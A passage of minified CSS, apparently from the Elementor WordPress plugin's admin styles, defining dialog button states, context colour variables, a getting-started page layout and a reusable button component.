.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon { display: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-skip:disabled, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-skip:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success { background-color: var(--e-a-btn-bg-success); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.e-btn-txt.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus { background: var(--e-a-bg-primary); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent { background-color: var(--e-a-btn-bg-accent); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info { background-color: var(--e-a-btn-bg-info); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning { background-color: var(--e-a-btn-bg-warning); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger { background-color: var(--e-a-btn-bg-danger); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button i, .dialog-type-alert .dialog-buttons-wrapper .dialog-button i { margin-inline-end: 5px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited { color: initial; } :root { --e-focus-color: rgba(0, 115, 170, .4); --e-context-primary-color: #0073aa; --e-context-primary-color-dark: #005177; --e-context-primary-tint-4: rgba(0, 115, 170, 0.4); --e-context-primary-tint-1: rgba(0, 115, 170, 0.04); --e-context-success-color: #0A875A; --e-context-success-color-dark: #06583a; --e-context-success-tint-4: rgba(10, 135, 90, 0.4); --e-context-success-tint-1: rgba(10, 135, 90, 0.04); --e-context-info-color: #2563EB; --e-context-info-color-dark: #134cca; --e-context-info-tint-4: rgba(37, 99, 235, 0.4); --e-context-info-tint-1: rgba(37, 99, 235, 0.04); --e-context-warning-color: #F59E0B; --e-context-warning-color-dark: #c57f08; --e-context-warning-tint-4: rgba(245, 158, 11, 0.4); --e-context-warning-tint-1: rgba(245, 158, 11, 0.04); --e-context-error-color: #DC2626; --e-context-error-color-dark: #b21d1d; --e-context-error-tint-4: rgba(220, 38, 38, 0.4); --e-context-error-tint-1: rgba(220, 38, 38, 0.04); --e-context-cta-color: #524CFF; --e-context-cta-color-dark: #2119ff; --e-context-cta-tint-4: rgba(82, 76, 255, 0.4); --e-context-cta-tint-1: rgba(82, 76, 255, 0.04); } .e-getting-started { max-width: 900px; padding: 2.5em 0; margin: auto; text-align: center; } .e-getting-started__header { display: flex; flex-direction: row; justify-content: space-between; align-items: center; box-shadow: 0 0 8px rgba(0, 0, 0, 0.1); } .e-getting-started__header .e-logo-wrapper { font-size: 10px; margin-inline-end: 10px; } .e-getting-started__title { padding: 0 15px; font-weight: 600; text-transform: uppercase; display: flex; align-items: center; } .e-getting-started__skip { border-inline-start: 1px solid #eee; font-size: 16px; color: inherit; } .e-getting-started__skip i { padding: 15px; } .e-getting-started__content { padding: 50px; } .e-getting-started__content h2 { font-size: 2em; margin-block-start: 0; } .e-getting-started__content--narrow { max-width: 500px; margin: auto; } .e-getting-started__video { margin: 40px 0 60px; } .e-getting-started__video iframe { box-shadow: 10px 10px 20px rgba(0, 0, 0, 0.15); } .e-getting-started__actions .button-primary { margin-inline-end: 20px; } :root { --e-button-padding-block: 0.4375rem; --e-button-padding-inline: 0.75rem; --e-button-font-size: 0.8125rem; --e-button-font-weight: 500; --e-button-line-height: 0.9375rem; --e-button-border-radius: 3px; --e-button-context-color: var(--e-context-primary-color); --e-button-context-color-dark: var(--e-context-primary-color-dark); --e-button-context-tint: var(--e-context-primary-tint-1); } .e-button { display: inline-block; font-weight: var(--e-button-font-weight); text-align: center; white-space: nowrap; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; user-select: none; color: #ffffff; border: 0; text-decoration: none; background: var(--e-button-context-color); padding: var(--e-button-padding-block) var(--e-button-padding-inline); font-size: var(--e-button-font-size); line-height: var(--e-button-line-height); border-radius: var(--e-button-border-radius); transition: background-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } .e-button:active, .e-button:hover, .e-button:focus { color: #ffffff; text-decoration: none; background: var(--e-button-context-color-dark); } .e-button:focus, .e-button.focus { outline: 0; box-shadow: 0 0 0 2px var(--e-focus-color); } .e-button.disabled, .e-button:disabled { opacity: 0.5; box-shadow: none; } .e-button:not(:disabled):not(.disabled) { cursor: pointer; } .e-button:not(:disabled):not(.disabled):active:focus, .e-button:not(:disabled):not(.disabled).active:focus { box-shadow: 0 0 0 2px var(--e-focus-color); } .e-button--primary { --e-button-context-color: var(--e-context-primary-color); --e-button-context-color-dark: var(--e-context-primary-color-dark); --e-button-context-tint: var(--e-context-primary-tint-1); --e-focus-color: var(--e-context-primary-tint-4); } .e-button--success { --e-button-context-color: var(--e-context-success-color); --e-button-context-color-dark: var(--e-context-success-color-dark); --e-button-context-tint: var(--e-context-success-tint-1); --e-focus-color: var(--e-context-success-tint-4); } .e-button--info { --e-button-context-color: var(--e-context-info-color); --e-button-context-color-dark: var(--e-context-info-color-dark); --e-button-context-tint: var(--e-context-info-tint-1); --e-focus-color: var(--e-context-info-tint-4); } .e-button--warning { --e-button-context-color: var(--e-context-warning-color); --e-button-context-color-dark: var(--e-context-warning-color-dark); --e-button-context-tint: var(--e-context-warning-tint-1); --e-focus-color: var(--e-context-warning-tint-4); } .e-button--error { --e-button-context-color: var(--e-context-error-color); --e-button-context-color-dark: var(--e-context-error-color-dark); --e-button-context-tint: var(--e-context-error-tint-1); --e-focus-color: var(--e-context-error-tint-4); } .e-button--cta { --e-button-context-color: var(--e-context-cta-color); --e-button-context-color-dark: var(--e-context-cta-color-dark); --e-button-context-tint: var(--e-context-cta-tint-1); --e-focus-color: var(--e-context-cta-tint-4); } .e-button.e-button--outline { color: var(--e-button-context-color); background: none; border: 1px solid currentColor; } .e-button.e-button--outline:hover, .e-button.e-button--outline:focus { color: var(--e-button-context-color-dark); background: var(--e-button-context-tint); } .e-button.e-button--outline.disabled, .e-button.e-button--outline:disabled { color: var(--e-button-context-color-dark); background: #69727D; } .e-button > i { line-height: inherit; height: var(--e-button-line-height); width: -moz-min-content; width: min-content; } .e-button > * + * { margin-inline-start: 0.5ch; } .e-button--link { color: var(--e-button-context-color); background-color: transparent; } .e-button--link:hover, .e-button--link:focus { color: var(--e-button-context-color-dark); background: var(--e-button-context-tint); } .e-button--link:disabled, .e-button--link.disabled { color: #69727D; } a.e-button.disabled, fieldset:disabled a.e-button { pointer-events: none; } :root { --e-notice-bg: #fff; --e-notice-border-color: #ccd0d4; --e-notice-context-color: #93003f; 